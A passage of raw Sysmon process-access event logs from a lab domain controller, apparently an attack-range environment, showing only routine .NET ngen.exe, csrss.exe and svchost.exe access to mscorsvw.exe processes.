12:01:48.666","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001050B70B00}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7061,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.666\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001050B70B00}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.666","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001050B70B00}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7062,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.666\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001050B70B00}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.666","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001050B70B00}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7063,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.729\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-00107ABB0B00}\r\nTargetProcessId: 2200\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.729","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-00107ABB0B00}","TargetProcessId":"2200","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7064,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.729\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-00107ABB0B00}\r\nTargetProcessId: 2200\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.729","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-00107ABB0B00}","TargetProcessId":"2200","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7065,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-00107ABB0B00}\r\nTargetProcessId: 2200\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-00107ABB0B00}","TargetProcessId":"2200","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7066,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.807\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010AFBF0B00}\r\nTargetProcessId: 3696\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.807","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010AFBF0B00}","TargetProcessId":"3696","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7067,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.807\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010AFBF0B00}\r\nTargetProcessId: 3696\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.807","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010AFBF0B00}","TargetProcessId":"3696","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7068,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010AFBF0B00}\r\nTargetProcessId: 3696\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 